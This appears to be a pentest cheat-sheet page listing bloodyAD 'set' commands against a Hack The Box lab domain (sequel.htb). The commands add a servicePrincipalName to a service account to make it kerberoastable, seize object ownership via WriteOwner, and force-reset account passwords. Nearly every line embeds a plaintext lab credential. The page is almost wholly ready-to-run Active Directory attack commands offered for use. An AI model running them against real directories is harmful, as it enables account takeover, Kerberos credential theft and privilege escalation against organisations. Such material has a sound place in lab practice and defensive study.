Saltar a contenido

Set Examples

Examples with Set Objects

Add/Replace/Delete target's attribute 

#sAMAccountName
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set object "CA_SVC" "servicePrincipalName" -v "sequel.htb/kerberoastable"
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u administrator -c ":administrator.pem" set object "CA_SVC" "servicePrincipalName" -v "sequel.htb/kerberoastable"

#SID (objectSid)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set object "S-1-5-21-548670397-972687484-3496335370-1607" "servicePrincipalName" -v "sequel.htb/kerberoastable"
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u administrator -c ":administrator.pem" set object "S-1-5-21-548670397-972687484-3496335370-1607" "servicePrincipalName" -v "sequel.htb/pwnnet"

#GUID (objectGUID)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set object "92385e3e-0137-4ce2-8c89-ab65146f03fd" "servicePrincipalName" -v "sequel.htb/kerberoastable"
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u administrator -c ":administrator.pem" set object "92385e3e-0137-4ce2-8c89-ab65146f03fd" "servicePrincipalName" -v "sequel.htb/pwnnet"

#Distinguished Name (DN)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set object "CN=Certification Authority,CN=Users,DC=sequel,DC=htb" "servicePrincipalName" -v "sequel.htb/kerberoastable"
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u administrator -c ":administrator.pem" set object "CN=Certification Authority,CN=Users,DC=sequel,DC=htb" "servicePrincipalName" -v "sequel.htb/pwnnet"

Examples with Set Owner

Changes target ownership with provided owner (WriteOwner permission required) 

#sAMAccountName
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner "CA_SVC" "ryan"

#GUID (objectGUID)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner "92385e3e-0137-4ce2-8c89-ab65146f03fd" "ee8fc0b1-97d3-4a3e-9fd2-d187c0b510fa"

#SID (objectSid)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner "S-1-5-21-548670397-972687484-3496335370-1607" "S-1-5-21-548670397-972687484-3496335370-1114"

#Distinguished Name (DN)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner "CN=Certification Authority,CN=Users,DC=sequel,DC=htb" "CN=Ryan Howard,CN=Users,DC=sequel,DC=htb"

Examples with Set Password

Change password of a user/computer 

#sAMAccountName
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set password "CA_SVC" "PwnnetTeam"

#SID (objectSid)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set password "S-1-5-21-548670397-972687484-3496335370-1607" "PwnnetTeam"

#Distinguished Name (DN)
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set password "CN=Certification Authority,CN=Users,DC=sequel,DC=htb" "PwnnetTeam"

#Change Password not enabled
bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set password "CA_SVC" "PwnnetTeam1337" --oldpass "PwnnetTeam"